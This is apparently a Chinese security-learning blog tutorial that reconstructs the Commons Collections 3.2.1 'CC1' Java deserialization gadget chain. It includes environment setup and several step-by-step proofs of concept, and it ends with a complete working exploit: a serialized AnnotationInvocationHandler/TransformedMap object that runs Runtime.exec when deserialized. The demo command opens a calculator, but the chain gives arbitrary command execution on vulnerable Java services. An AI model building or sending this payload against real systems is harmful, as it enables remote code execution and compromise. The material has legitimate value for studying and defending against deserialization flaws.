CC1链
我们从第一条链子CC1讲起,由于是第一条链子,所以我详细讲解一下环境部署的流程,后面别的链子就不花大篇幅在上面了。
1. 环境部署
- JDK8u65
- openJDK 8u65
- Maven 3.6.3(其余版本可以先试试,不行再降版本)
注意这里的JDK8u65从官网下载会自动变成JDK8u112,非常的莫名奇妙我也不知道为什么,后来我是找朋友要的。有需要也可以私信我。
JDK8u65下载好后不用着急添加到环境变量里,以免打乱了你自己原本的环境变量。
我们现在要做的事是修改sun包。
因为我们打开源码,很多地方的文件是 .class 文件,是已经编译完了的文件,都是反编译代码,我们很难读懂,所以需要把它转换为 .java 文件。这方便我们使用find usage分析调用链。
- openJDK 8u65 ———— 去到这个下载链接,点击 zip

下载解压后长这样

我们所需要的sun包在src/share/classes/sun/

将其复制一份,这时候我们回到我们JDK的安装目录下。

我们将我们刚才复制的sun包粘贴到src文件夹里。

这个时候环境便准备好了,然后我们进IDEA里配置一下。
我们先new一个新项目,然后在选择JDK的时候添加新下载的

然后按照下图操作(创建一个javaweb项目)

如果没下载配置过Maven和创建过javaweb项目的,建议先去学习和配置一手,我就不在这说了。
创建好项目以后,打开Project Settings,添加我们刚才配置好的SRC文件夹路径

由于我们要复现的是Common-Collections的各种链子,所以还需要添加Common-Collections包。由于这不是官方的,所以需要在pom.xml添加依赖
<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
然后使用maven clean + install。
这样环境才算部署好了。
2. Common-Collections 相关介绍
闪烁之狐大佬说的很清楚了 ~ 我这里借用一下
Apache Commons是Apache软件基金会的项目,曾经隶属于Jakarta项目。Commons的目的是提供可重用的、解决各种实际的通用问题且开源的Java代码。Commons由三部分组成:Proper(是一些已发布的项目)、Sandbox(是一些正在开发的项目)和Dormant(是一些刚启动或者已经停止维护的项目)。
- 简单来说,Common-Collections 这个项目开发出来是为了给 Java 标准的
Collections API提供了相当好的补充。在此基础上对其常用的数据结构操作进行了很好的封装、抽象和补充。
包结构介绍
org.apache.commons.collections– CommonsCollections自定义的一组公用的接口和工具类org.apache.commons.collections.bag– 实现Bag接口的一组类org.apache.commons.collections.bidimap– 实现BidiMap系列接口的一组类org.apache.commons.collections.buffer– 实现Buffer接口的一组类org.apache.commons.collections.collection–实现java.util.Collection接口的一组类org.apache.commons.collections.comparators– 实现java.util.Comparator接口的一组类org.apache.commons.collections.functors–Commons Collections自定义的一组功能类org.apache.commons.collections.iterators– 实现java.util.Iterator接口的一组类org.apache.commons.collections.keyvalue– 实现集合和键/值映射相关的一组类org.apache.commons.collections.list– 实现java.util.List接口的一组类org.apache.commons.collections.map– 实现Map系列接口的一组类org.apache.commons.collections.set– 实现Set系列接口的一组类
CC1攻击链分析
一、寻找链尾
- 由前辈们挖洞总结出来的经验,我们的链子主要用到的是这个 Transformer接口。
我们跟进查看一下接口的结构

可见这个接口非常的简单,只定义了一个transform方法。
我们通过ctrl + alt + B即可查看有哪些类实现了transform接口。

这里就不逐一分析了,我们可以在 InvokerTransformer类中找到可以利用的代码。

可以发现在对transform方法的实现中,利用了反射机制可以调用任意类的任意方法。
这就非常的好了,我们可以拿它作为我们链子的尾部,调用Runtime类的exec来命令执行。
我们可以使用这个类的transform方法写一个简单的代码来调用计算器测试一下。
先回顾一下我们前面讲过的利用反射来命令执行:
import java.lang.reflect.Method;
import java.lang.Runtime;
public class Calc {
public static void main(String[] args) throws Exception{
Runtime runtime = Runtime.getRuntime();
Class c = Runtime.class;
Method method = c.getDeclaredMethod("exec", String.class);
method.setAccessible(true);
method.invoke(runtime, "calc");
}
}
接下来我们将其改写成利用 InvokerTransformer类的transform方法调计算器。
我们先看看这个类的构造函数:

发现有一个public的有参构造函数可以直接利用,我们甚至都不用反射获取构造函数以及修改字段值了,多方便啊!
package com.test.Rce;
import org.apache.commons.collections.functors.InvokerTransformer;
import java.lang.reflect.Method;
public class transformRce {
public static void main(String[] args) {
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}
, new Object[]{"calc"});
invokerTransformer.transform(runtime);
}
}
直接运行看效果

成功弹出计算器,这也证实了它确实是非常好的链尾。
找到链尾了,我们从后往前跟进,看看有哪些类的方法调用了transform方法。
二、从链尾往前跟进(初步找链子)
我们直接右键find usages。
如果前面环境配置没问题的话,是可以看到在Maven的commons-collections包里看见很多方法直接调用了它。

如果发现没有那么多包的话,取仓库把CC包删了,然后clean+install。
这里就不一一看了,节省时间直接说结果。
其中 TransformedMap 类中存在 checkSetValue() 方法调用了 transform() 方法。

- 注意到这里是通过
valueTransformer来调用transform,OK,我们接下来我们看看valueTransformer是什么东西。

- 发现它被定义为一个受保护的
Transforme常量对象,初始值为null。
其实当时我分析到这里便立马有了一个小想法。就是通过反射获取这个字段,然后将其属性值改为Transformer的实例,这样就可以获取checkSetValue方法然后调用了。但是想了想,我们不是要反序列化漏洞吗?那肯定入口得是readObject啊,哈哈哈所以肯定不能那样做了,一个小插曲而已。
- 我们接着找别的地方有没有
valueTransformer,在TransformedMap的构造函数中又发现了valueTransformer。

- 这是一个
protected的构造方法,它对valueTransformer进行了初始化。我们往前跟进,看谁调用了这个构造函数。
发现在这个类的decorate静态函数中调用了构造函数来创建TransformMap对象。

- 这方法多好啊,又是静态的又是public的。我们甚至都不需要实例就能调用它。所以我们可以尝试拿它当作链子的开头(不是指链首,链首肯定要是readObject)。
目前的链子:
Map#decorate --> 获取TransformedMap对象 --> TransformedMap#checkSetValue --> transform
到这一步了,我们可以尝试写一个POC测试一下。(并不是完整的反序列化链子,只是针对现有的链子测试)
package com.test.Rce;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class transformRce {
public static void main(String[] args) throws Exception{
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}
, new Object[]{"calc"});
HashMap<Object, Object> hashMap = new HashMap<>();
Map decorateMap = TransformedMap.decorate(hashMap,null,invokerTransformer);
Class<TransformedMap> transformedMapClass = TransformedMap.class;
Method checkSetValueMethod = transformedMapClass.getDeclaredMethod("checkSetValue", Object.class);
checkSetValueMethod.setAccessible(true);
checkSetValueMethod.invoke(decorateMap,runtime);
}
}
根据这个POC,我们再总结一下这个链子是怎么构造的吧:
- 首先我们通过
.decorate方法创建一个Transformed对象,由于返回值是Map,所以这里用Map接收。其次这个方法的三个参数中,第一个参数是一个Map对象,经过测试发现它不能为空,所以我们可以创建一个HashMap对象传入。然后第二个参数,没什么作用且可以为null,所以设置为null,第三个参数就是给valueTransformer初始化的值也就是最后用来调用transform方法的对象,用我们前面的invokerTransformer即可。 - 然后就是通过反射,获取
TransformedMap类的checkSetValue方法,设置作用域后调用。 - 调用
checkSetValue方法会直接调用transform方法,而transform方法中可以利用反射命令执行。这也就是我们链子的尾部 ————.transform

效果如下:

三、完整的链子
其实我们前面找到的.decorate根本不算链子,细心的你可以发现它其实并没有与checkSetValue有连贯的调用关系,它只是作为调用TransformedMap构造器以及初始化valueTransformer的中间人罢了。
而我们目前找到的链子位于 checkSetValue 当中,所以我们回到 checkSetValue 重新找链子。看一下谁直接调用了checkvalue方法。

跟进看一下。

我们可以发现调用的是TransformedMap的父类AbstractMapEntryDecorator里的内部类MapEntry的setValue方法,这个方法首先会先调用checkSetValue,在checkSetValue里又会调用transform方法,最后执行entry的setValue方法来设置Value。
还有一点要注意的便是,这个方法它需要一个键值对也就是Entry实例才可以调用。
从前面我们初步找的链子我们可以知道,通过调用decorate方法,我们可以创建一个TransformedMap实例,并且给valueTransformer初始化,而我们正是将要执行的恶意类赋值给它。
但是前面的时候需要我们自己通过反射获取checkSetValue方法并调用,而现在我们找到了setValue可以直接调用checkSetValue,并且它是一个Entry下面的public方法,要调用非常的方便。所以我们便可以通过for循环遍历(通过decorate方法生成的TransformedMap对象的键值对)Entry,然后执行Entry.setValue就可以完整的利用这条链子。
POC如下:
package com.test.Rce;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class transformRce {
public static void main(String[] args) throws Exception{
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec"
, new Class[]{String.class}, new Object[]{"calc"});
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("key", "value");
Map<Object, Object> decorateMap = TransformedMap.decorate(hashMap, null, invokerTransformer);
for (Map.Entry entry:decorateMap.entrySet()){
entry.setValue(runtime);
}
}
}
主要是通过entrySet()获取一个Map的所有键值对。
运行看效果:

- 成功弹出计算器。
目前我们还剩一步,便是找到链首(readObject)它重写方法的实现里调用了setValue。
四、寻找 readObject() —— 链首
- 我们直接在setValue处,find usages
这个地方真的要细心一点慢慢找,功夫不负有心人,我们终于找到了一个readObject入口类!

- 我们注意到类的名字为
AnnotationInvocationHandler,InvocationHandler这个后缀,我在动态代理里面提到过,是用做动态代理中间处理,因为它继承了InvocationHandler接口。
要调用setValue()方法,我们还需要满足下图的要求。

我们可以通过 AnnotationInvocationHandler的构造函数获取实例,注意参数即可。

下面我们开始编写POC
POC的编写
1. 理想情况下的POC
- 先想出理想情况下的 EXP,再根据实际情况进行调整
package FinalEXP;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
// 理想情况的 EXPpublic class TransformMapImagineEXP {
public static void main(String[] args) throws Exception{
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec"
, new Class[]{String.class}, new Object[]{"calc"});
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("key", "value");
Map<Object, Object> transformedMap = TransformedMap.decorate(hashMap, null, invokerTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor aihConstructor = c.getDeclaredConstructor(Class.class, Map.class);
aihConstructor.setAccessible(true);
Object o = aihConstructor.newInstance(Override.class, transformedMap);
// 序列化反序列化
serialize(o);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
但是直接用这个EXP肯定是不行的,我们还有三个问题需要解决
- ①:Runtime 类是没有实现
Serializable接口的,也就是说它是不可序列化的。需要通过反射将其变成可以序列化的形式。 - ②:
setValue()的传参,是需要传Runtime对象的;而在实际情况当中的setValue()的传参是这个东西

- ③:满足两个if判断,才能进入setValue
我们一个一个来解决
2. ①解决Runtime不能序列化
Runtime 是不能序列化的,但是 Runtime.class 是可以序列化的。我们先写一遍普通反射。
import java.lang.reflect.Method;
public class SolvedProblemRuntime {
public static void main(String[] args) throws Exception{
Class c = Runtime.class;
Method method = c.getMethod("getRuntime");
Runtime runtime = (Runtime) method.invoke(null, null);
Method run = c.getMethod("exec", String.class);
run.invoke(runtime, "calc");
}
}
接着我们将其改造成使用 InvokerTransformer 调用的方式。
import java.lang.reflect.Method;
public class SolvedProblemRuntime {
public static void main(String[] args) throws Exception{
Object getRuntimeMethod = new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);
Runtime r = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntimeMethod);
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);
}
}
- 我们注意到通过这种方式,每次都会将前一次的结果作为这一次的
transform参数。
有一个 ChainedTransformer 类正好可以干这个,我们来看一下这个类

- 知道了用法之后编写 EXP,先定义一个数组,然后将数组传到
ChainedTransformer类中,再调用.transform方法。
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
public class ChainedTransformerEXP {
public static void main(String[] args) {
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod"
, new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke"
, new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec"
, new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);
}
}
再把它与 decorate 的链子结合一下(目前解决了第一个问题)
package Rce;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
// 解决了第一个问题
public class ChainedTransformerEXP {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod"
, new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke"
, new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec"
, new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("key","value");
Map<Object, Object> transformedMap = TransformedMap.decorate(hashMap, null, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor aihConstructor = c.getDeclaredConstructor(Class.class, Map.class);
aihConstructor.setAccessible(true);
Object o = aihConstructor.newInstance(Override.class, transformedMap);
// 序列化反序列化
serialize(o);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
但是现在这个POC是肯定不会有效的,我们可以在第一个if处打个断点,然后调试一下。

下面我们先解决两个if的问题
3. ②解决进入setValue的两个if
我们回归代码本身,看看它到底做了什么。

其实这里的memberValues就是我们传入的transformedMap。我们在代码中还往键值对里put("key","value")。
所以我们前面那个断点调试的图片中可以看到,name为key。然而memberType为null,这是为什么?
我们给第一个参数传入的是Override.class,我们进去看看实现。

可以发现这个注解类其实并没有任何的属性与方法,所以get(name)自然获取为null。所以我们需要找一个有内容的类,这里找到了Target.class。

可以发现有一个value属性。然后我们修改Map中的key为value不就满足了第一个if。
代码作微调即可:

此时我们接着断点调试

- 发现成功进来了,并且第二个if语句也满足了,直接调用setValue了。
但是最后还是无法弹出计算器,这是为什么?因为我们要给setValue传入一个Runtime.class啊,而这个代码中的setValue的参数其实我们是不可控的。
这时候就要解决我们的第三个问题。也就是setValue参数不可控的问题
4. 解决最终问题,编写EXP
setValue的参数肯定是不可控的,但是我们找到了一种方法,可以不必给setValue传入Runtime作为参数。它就是 ConstantTransformer类。

这个类中的transform的作用是输入什么就将什么给返回,其实就相当于一个常量了。
那么我们便可以将Runtime.class写入ChainedTransformer的那个数组transformers中。这样在调用ChainedTransformer的transform时,首先先通过 ConstantTransformer的transform获取Runtime.class,然后它便作为后面的参数执行了。这样便可以无视input,也就是setValue的参数。
最后 实现了 获取Runtime Class -> 获取 getRuntime()方法 -> 获取 实例 -> 获取 exec方法
所以完整的EXP如下:
package com.test.Rce;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
// 解决了第一个问题
public class wholeCC1Chain {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod"
, new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke"
, new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec"
, new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("value","6666");
Map<Object, Object> transformedMap = TransformedMap.decorate(hashMap, null, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor aihConstructor = c.getDeclaredConstructor(Class.class, Map.class);
aihConstructor.setAccessible(true);
Object o = aihConstructor.newInstance(Target.class, transformedMap);
// 序列化反序列化
serialize(o);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
运行看效果,发现成功弹出了计算器。

终于利用成功了!太不容易了。
5. 小结一下
- 先总结一下链子
AnnotationInvocationHandler#readObject ---> AbstractInputCheckedMapDecorator#setValue --->
TransformedMap#checkSetValue --> InvokerTransformer#transform
还用到了一些工具类辅助
ConstantTransformer
ChainedTransformer
HashMap
我自己画图总结了一下,可能有点抽象。建议都自己画图总结一下。
